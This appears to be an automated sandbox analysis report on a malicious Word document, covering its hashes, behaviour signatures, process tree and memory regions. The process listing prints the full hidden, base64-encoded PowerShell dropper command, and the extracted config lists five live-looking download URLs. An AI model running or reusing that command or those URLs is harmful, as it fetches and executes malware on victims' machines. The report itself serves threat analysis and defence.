Analysis

  • max time kernel
    53s
  • max time network
    24s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:53

General

  • Target

    5e781d5fd024f5cbf83b7cefdd21a232a31b871c284bb0673b74171506cd8fd8.doc

  • Size

    242KB

  • MD5

    267f126cb0f1e09c5c9c5c623f843b7f

  • SHA1

    05e37cddaacda52a5ff0d208d96d32fd40c40e5a

  • SHA256

    5e781d5fd024f5cbf83b7cefdd21a232a31b871c284bb0673b74171506cd8fd8

  • SHA512

    c59b6e57b58d601ebfb40f93b6754d1fb170b9e13f9deeed41f1807bb73d798488411d4229ccbcc88ab3d12fca5d3287d8d4f524d6a301db7de64e116f4da8a0

  • SSDEEP

    6144:sR2k40tGiL3HJk9/D7bZuhEmfo6BokDPyUKjou:sRVQitkh7bAhLoz

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://salvacodina.com/wp-admin/qWYFrK/

exe.dropper

http://serviska.com/show_cat3/lKzElbNb/

exe.dropper

https://bar-ola.com/wp-admin/KIdh35kENT/

exe.dropper

http://rinani.com/wp-includes/FFkV/

exe.dropper

https://wowmotions.com/wp-admin/A8LwzwQ/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5e781d5fd024f5cbf83b7cefdd21a232a31b871c284bb0673b74171506cd8fd8.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1044
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2592
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2508
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2516
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABFAGMAawBvAGwAYgB2AHgAegBlAGoAPQAnAFIAcQBtAG4AYgBoAGMAegAnADsAJABaAHkAZwBzAHAAcQBjAG4AZABrAGgAIAA9ACAAJwAzADMAMgAnADsAJABTAHMAcwBuAGcAZwBvAGwAdQA9ACcARgBrAHkAegB5AGgAcwBhAHQAdwB3ACcAOwAkAFkAcwBmAGMAdABpAHUAbgBsAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAeQBnAHMAcABxAGMAbgBkAGsAaAArACcALgBlAHgAZQAnADsAJABNAGEAcQBpAGEAaQByAHcAbABlAHYAdABpAD0AJwBTAHEAeQBhAHAAZABrAGMAcABiAGoAdQAnADsAJABTAGMAYQB1AGUAeABvAHEAaABtAHIAeAA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBjAGwAaQBFAG4AdAA7ACQASwBrAHIAagBkAGMAYgBkAGwAeQBoAGEAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbAB2AGEAYwBvAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHEAVwBZAEYAcgBLAC8AKgBoAHQAdABwADoALwAvAHMAZQByAHYAaQBzAGsAYQAuAGMAbwBtAC8AcwBoAG8AdwBfAGMAYQB0ADMALwBsAEsAegBFAGwAYgBOAGIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGEAcgAtAG8AbABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBLAEkAZABoADMANQBrAEUATgBUAC8AKgBoAHQAdABwADoALwAvAHIAaQBuAGEAbgBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBGAEYAawBWAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBvAHcAbQBvAHQAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQQA4AEwAdwB6AHcAUQAvACcALgAiAHMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABYAGsAdwBkAHQAYgBnAHEAZgA9ACcAVQBzAHUAZwBjAGcAcABhAGEAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQARgBxAGgAcABtAGsAaABqAHAAIABpAG4AIAAkAEsAawByAGoAZABjAGIAZABsAHkAaABhACkAewB0AHIAeQB7ACQAUwBjAGEAdQBlAHgAbwBxAGgAbQByAHgALgAiAGQAYABPAFcAbgBgAGwAbwBBAGAAZABGAGkAbABlACIAKAAkAEYAcQBoAHAAbQBrAGgAagBwACwAIAAkAFkAcwBmAGMAdABpAHUAbgBsAHoAKQA7ACQAVwB6AHYAYgB4AGEAZwBxAG8AagBvAG4AdQA9ACcATwBmAGwAYwBrAG4AbwB1AGwAcQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWQBzAGYAYwB0AGkAdQBuAGwAegApAC4AIgBsAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABZAHMAZgBjAHQAaQB1AG4AbAB6ACkAOwAkAFUAZwBhAHUAbQBhAGQAeQBhAGkAcAB6AD0AJwBLAGUAZwBtAGMAcgBhAHUAcABmAHMAagBoACcAOwBiAHIAZQBhAGsAOwAkAEsAYgBuAGwAeAB1AGQAbgB0AGgAPQAnAFEAZgBkAG0AbAB0AHEAawBoAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABzAHoAcQB2AGMAYwBzAHkAbgA9ACcAQgBvAHcAZABnAHEAbQBlAGMAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1680

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\33AB1E94.wmf

      Filesize

      444B

      MD5

      54730fad72a100ae3b80f789bf02add0

      SHA1

      f15c04472b6ff244f1f24c17a05cf172b79ece16

      SHA256

      87174d2a6765a4590f9a4bd3612f0075ebdbc2943a68cf642ed5ebdc51b6f883

      SHA512

      0d258fb52a3f392eab499b002ab365f5ae8e38bd03903939ffa3639955cb2f92ad8e7b53455d4a4a1a8959107212c0c3638b0a91fda459f018e51f58990e2297

    • memory/1044-23-0x0000000000250000-0x0000000000350000-memory.dmp

      Filesize

      1024KB

    • memory/1044-48-0x00000000069B0000-0x00000000069B1000-memory.dmp

      Filesize

      4KB

    • memory/1044-7-0x0000000005CD0000-0x0000000005DD0000-memory.dmp

      Filesize

      1024KB

    • memory/1044-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1044-17-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

    • memory/1044-18-0x00000000069B0000-0x00000000069B1000-memory.dmp

      Filesize

      4KB

    • memory/1044-26-0x0000000000250000-0x0000000000350000-memory.dmp

      Filesize

      1024KB

    • memory/1044-24-0x0000000000250000-0x0000000000350000-memory.dmp

      Filesize

      1024KB

    • memory/1044-25-0x0000000000250000-0x0000000000350000-memory.dmp

      Filesize

      1024KB

    • memory/1044-28-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

    • memory/1044-50-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

    • memory/1044-0-0x000000002F0B1000-0x000000002F0B2000-memory.dmp

      Filesize

      4KB

    • memory/1044-30-0x0000000000250000-0x0000000000350000-memory.dmp

      Filesize

      1024KB

    • memory/1044-21-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

    • memory/1044-22-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

    • memory/1044-31-0x0000000000250000-0x0000000000350000-memory.dmp

      Filesize

      1024KB

    • memory/1044-2-0x0000000070CBD000-0x0000000070CC8000-memory.dmp

      Filesize

      44KB

    • memory/1044-49-0x0000000000250000-0x0000000000350000-memory.dmp

      Filesize

      1024KB

    • memory/1044-45-0x0000000070CBD000-0x0000000070CC8000-memory.dmp

      Filesize

      44KB

    • memory/1044-46-0x0000000005CD0000-0x0000000005DD0000-memory.dmp

      Filesize

      1024KB

    • memory/1044-47-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

    • memory/1680-37-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

      Filesize

      2.9MB

    • memory/1680-38-0x0000000002310000-0x0000000002318000-memory.dmp

      Filesize

      32KB

    • memory/2508-19-0x00000000002D0000-0x00000000002D1000-memory.dmp

      Filesize

      4KB